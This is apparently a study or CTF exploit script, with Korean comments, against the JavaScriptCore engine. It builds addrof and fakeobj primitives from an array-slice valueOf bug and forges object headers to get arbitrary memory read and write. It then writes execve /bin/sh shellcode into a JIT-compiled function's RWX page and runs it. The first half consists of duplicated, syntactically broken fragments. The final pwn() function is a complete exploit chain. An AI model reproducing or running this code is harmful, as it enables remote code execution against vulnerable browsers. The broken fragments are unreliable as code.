function addrof_modify(obj){
		var a = []; 
		for (var i = 0; i < 100; i++){
				a.push(i + 0.123);
		}; 
		var b = a.slice(0, { 
				valueOf: function() { 
						a.length = 0; 
						a = [obj]; 
						return 100; 
				}
		});
		return (b)
};

a=[];
print(addrof_modify(a));

function makeJITCompiledFunction() {
    function target(num) {
        for (var i = 2; i < num; i++) {
            if (num % i === 0) {
                return false;
            }
        }
        return true;
    }
    jitCompile(target, 123);

    return target;
}

function addrof(obj){
   var a = []; 
	 for (var i = 0; i < 100; i++){
	    a.push(i + 0.123);
		}; 
		var b = a.slice(0, {
		   valueOf: function() { 
			    a.length = 0; 
					a = [obj]; 
					return 100; 
				}
		});
		return Int64.fromDouble(b[4])
	};
	
function fakeobj(addr) {
    var a = [];
    for (var i = 0; i < 100; i++){
        a.push({});
    }

    addr = addr.asDouble();
    return a.slice(0, {
		    valueOf: function() { 
			    a.length = 0; 
			    a = [addr]; 
			    return 100; 
		   }
	 })[4];
}

    var hax = new Uint8Array(0x1000);
    var container = {
        jsCellHeader: jsCellHeader.asJSValue(),
        butterfly: false,     
        vector: hax,
        lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
    };

	  // 가짜 Float64Array를 생성한다
    var address = Add(addrof(container), 0x10);
    var fakearray = fakeobj(address);

		// 읽기 함수
		read: function(addr, length) { 
            fakearray[2] = addr.asDouble();
            var a = new Array(length);
            for (var i = 0; i < length; i++)
                a[i] = hax[i];
            return a;
        },

		// 쓰기 함수
		write: function(addr, data) {
            fakearray[2] = addr.asDouble();
            for (var i = 0; i < data.length; i++)
                hax[i] = data[i];
        },

    var victim = [];
    victim.prop = 31337;

    var JSCellHeader = new Int64([
        0xef, 0xbe, 0xad, 0xde, // TypedArray가 아닌 객체에선 무의미함
        0x06,		                // DoubleShape
        0x2c,		                // Float64ArrayType
        0x08,		                // OverridesGetOwnPropertySlot
        0x01		                // DefinitelyWhite
    ]);

		// butterfly 를 victim으로 설정한다
    var container = {
        header: JSCellHeader.asJSValue(),
        butterfly: victim
    };

		var hax = fakeobj(Add(addrof(container), 0x10));
    var origButterfly = hax[1];


		// read/write 를 위해 객체의 두번째 qword 인 butterfly 를 활용한다.
		read64(addr) {
            hax[1] = Add(addr, 0x10).asDouble();
            return this.addrof(victim.pointer);
        },

		// Write an int64 to the given address.
     writeInt64(addr, int64) {
            hax[1] = Add(addr, 0x10).asDouble();
            victim.pointer = int64.asJSValue();
    },

// https://raw.githubusercontent.com/saelo/35c3ctf/master/WebKid/utils.js
load("utils.js");
// https://raw.githubusercontent.com/saelo/35c3ctf/master/WebKid/int64.js
load("int64.js");

// http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = [ 0x31, 0xC0, 0x48, 0xBB, 0xD1, 0x9D, 0x96, 0x91, 0xD0, 0x8C, 0x97, 0xFF, 0x48, 0xF7, 0xDB, 0x53, 0x54, 0x5F, 0x99, 0x52, 0x57, 0x54, 0x5E, 0xB0, 0x3B, 0x0F, 0x05 ];

// https://github.com/saelo/35c3ctf/blob/44b2a45/WebKid/pwn.js#L40
const ITERATIONS = 100000;
function jitCompile(f, ...args)
{
    for(var i = 0; i < ITERATIONS; i++)
        f(...args);
}

jitCompile(function dummy() { return 42; });

function makeJITCompiledFunction()
{
    function target(num)
    {
        for(var i = 2; i < num; i++)
        {
            if(num % i === 0)
                return false;
        }

        return true;
    }

    jitCompile(target, 123);

    return target;
}

function addrof(obj)
{
    var a = [];
    for(var i = 0; i < 100; i++)
        a.push(i+0.123);

    var b = a.slice(0, {valueOf(){
        a.length = 0;
        a = [obj];
        return 10;
    }});

    return Int64.fromDouble(b[4]);
}
function fakeobj(addr)
{
    var a = [];
    for(var i = 0; i < 100; i++)
        a.push({});

    addr = addr.asDouble();
    var b = a.slice(0, {valueOf(){
        a.length = 0;
        a = [addr];
        return 10;
    }});

    return b[4];
}

function pwn()
{
    var JSCellHeader = new Int64([
        0xef, 0xbe, 0xad, 0xde, // TypedArray가 아닌 객체에선 무의미함
        0x06,		                // DoubleShape
        0x2c,		                // Float64ArrayType
        0x08,		                // OverridesGetOwnPropertySlot
        0x01		                // DefinitelyWhite
    ]);

    var victim = [];
    victim.prop = 31337;
    print("[+] victim = " + addrof(victim));
    
    var container = {
        JSCell : JSCellHeader.asJSValue(),
        Butterfly : victim
    };

    var fakeshape = fakeobj(Add(addrof(container), 0x10));
    print("[+] fakeshape = " + addrof(fakeshape));

    // victim.prop는 (victim's Butterfly - 0x10)에 위치함
    memory = {
        // 0x7fffffff보다 큰 값은 double형 값으로 인코딩되어 버리기에 2 bytes씩 씀
        // 0x7fffffff = 0xffff00007fffffff
        // 0x80000000 = 0x41e1000000000000
        write16bits: function(addr, data) {
            fakeshape[1] = Add(addr, 0x10).asDouble();
            victim.prop = data;
        },

        // Int64 라이브러리를 통해 최대 64bit 만큼 값을 쓸 순 있으나,
        // 그에 해당하는 뷰를 생성할 수 없음
        // ( Float64Array를 사용하려면 값을 8 byte씩 끊어 따로따로 인코딩해줘야 되서 안됨 )
        write64bits: function(addr, data) {
            fakeshape[1] = Add(addr, 0x10).asDouble();
            victim.prop = data.asJSValue();
        },

        write: function(addr, data) {
            if((data.length % 2) != 0)
                data.push(0);

            var uint8View = new Uint8Array(data);
            var uint16View = new Uint16Array(uint8View.buffer);

            for(var i = 0; i < uint16View.length; i++)
                this.write16bits(Add(addr, 2 * i), uint16View[i]);
        },

        read64bits: function(addr) {
            fakeshape[1] = Add(addr, 0x10).asDouble();
            return addrof(victim.prop);
        },

        test: function() {
            var v = {};
            var obj = {p : v};

            var addr = addrof(obj);
            assert(fakeobj(addr).p == v, "addrof and/or fakeobj not worked....-_-");

            var propAddr = Add(addr, 0x10);
            var val = this.read64bits(propAddr);
            assert(val.asDouble() == addrof(v).asDouble(), "read64bits not worked...-_-");

            this.write16bits(propAddr, 0x1337); 
            assert(obj.p == 0x1337, "write16bits not worked...-_-");
        }
    };

    memory.test();
    print("[+] Okay, it is working!");

    print("[+] hiding container from JSC!");
    var empty = {};
    var emptyJSCell = memory.read64bits(addrof(empty));
    memory.write64bits(addrof(container), emptyJSCell);

    var jitFunc = makeJITCompiledFunction();

    var jitFuncAddr = addrof(jitFunc);
    print("[+] JIT Function       = " + jitFuncAddr);

    var execAddr = memory.read64bits(Add(jitFuncAddr, 0x18));
    print("[+] Executable Address = " + execAddr);

    var jitCodeObjAddr = memory.read64bits(Add(execAddr, 0x18));
    print("[+] JIT Object Address = " + jitCodeObjAddr);

    var jitCodeAddr = memory.read64bits(Add(jitCodeObjAddr, 0x160));
    print("[+] RWX Code Area      = " + jitCodeAddr);

    memory.write(jitCodeAddr, shellcode);

    print("[+] Let's pwn it!");
    jitFunc();
}

pwn();